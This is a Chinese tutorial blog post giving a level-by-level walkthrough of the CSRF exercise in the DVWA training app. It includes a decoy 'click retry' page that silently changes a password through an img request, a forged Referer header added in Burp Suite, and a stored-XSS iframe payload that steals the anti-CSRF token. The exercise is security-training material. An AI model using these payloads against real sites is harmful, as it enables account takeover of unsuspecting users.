前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[超详细DVWA-CSRF全等级通关教程]都是干货,你确定不看看?

[超详细DVWA-CSRF全等级通关教程]都是干货,你确定不看看?

原创
作者头像
丁信然
修改2021-05-18 10:09:16
6.2K2
修改2021-05-18 10:09:16
举报
文章被收录于专栏:网络安全干货

在此之前,建议各位观众老爷提前写好两个页面(作陷阱网页)

为方便描述,简单命名为1和2
为方便描述,简单命名为1和2

其中1网页作为核心攻击,是诱惑用户点击的,当用户点击它后,2作为点击跳转后的网页,可以伪造成各种网页,迷惑用户。

只是为了给观众老爷讲解,故简单写了一下,当用户进入这个页面,被其内容所迷惑(点击重试)

代码语言:javascript
复制
 <a href="2.html"><img src="链接">点击重试</a>

1.html
1.html

用户点击后会进入2页面,作为跳转网页,迷惑用户,旨在不被暴露。如果不怕暴露,可以做个404。

代码语言:javascript
复制
 <h1>welcome to my world!</h1>

2.html
2.html

LOW(低级别)

请注意:在按照正常流程修改密码后上方的链接
请注意:在按照正常流程修改密码后上方的链接

链接上很明显的显示了本次操作:修改密码为123。

把这个链接复制下来,放入之前就准备好的1.html的代码里👇

把你希望的密码代替掉里面的“123”,例如我想要密码是“ZRL”,那么我就把“123”换成“ZRL”。

代码语言:javascript
复制
<a href="2.html"><img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=ZRL&password_conf=ZRL&Change=Change#">点击重试</a>

修改后保存

这时候用户点击1.html跳转2.html,好像就是一个很简单的页面跳转,但是其实密码已经被修改了。

———————————————————分割线—————————————————

medium(中级)

和低级别的流程一样,也是利用页面跳转修改密码,但是不同的是在页面跳转后密码无法修改,这是为啥呢?

是因为多了一项Rferer验证,由于是第三方跳转,所以缺少Referer验证。

不过少了咱给它补上。

这时候需要用到抓包工具Burpsuite,抓包后发现这里少了Referer,不怕,补上去。

没有Referer
没有Referer
代码语言:javascript
复制
Referer: http://dvwa.com/vulnerabilities/csrf/
Referer的内容只需要里面包含主机的名称即可
Referer的内容只需要里面包含主机的名称即可
放过后成功修改密码
放过后成功修改密码

—————————————————分割线—————————————————

High(高级)

高级的比较复杂,它需要存储型XSS漏洞联合使用

我们先正常修改它的密码,可以看到链接上多了一串user_token的值

代码语言:javascript
复制
http://dvwa.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=72c7b26fe3c0201d6bf72808a5b77631#

Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

意思是我们每次修改密码需要先验证其token值。

我们怎样去获得这个token的值呢?此时存储型XSS闪亮登场!

我们在存储型XSS上传一个脚本,旨在获取并且弹出它的token值,存储型XSS的功能大家都清楚,我不再赘述。每次点击到XSS,所上传的脚本都会被执行一次。

代码语言:javascript
复制
<iframe src="../csrf/"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

请注意,当token值出现后,复制后千万不要点击确定,因为点击确定后页面被刷新,token值也将再次被刷新
请注意,当token值出现后,复制后千万不要点击确定,因为点击确定后页面被刷新,token值也将再次被刷新

获取到token值后将它加入到之前的链接后面

代码语言:javascript
复制
 <a href="2.html"><img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=ZRL&password_conf=ZRL&Change=Change&user_token=a1c1d38188c0ff0ce8b195af85ec7da5">点击重试</a>

成功构造语句,这个时候保存文件,再次回到1.html页面,点击跳转链接,成功跳转(成功修改密码)

总结下来其实很简单,要充分了解伪站点的特性,利用抓包工具、代码验证漏洞、payload合理构造以及多漏洞联合利用进行攻击,多管齐下才能保证攻击的顺利进行。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 在此之前,建议各位观众老爷提前写好两个页面(作陷阱网页)
  • LOW(低级别)
  • ———————————————————分割线—————————————————
  • medium(中级)
  • —————————————————分割线—————————————————
  • High(高级)
  • Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
  • 成功构造语句,这个时候保存文件,再次回到1.html页面,点击跳转链接,成功跳转(成功修改密码)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档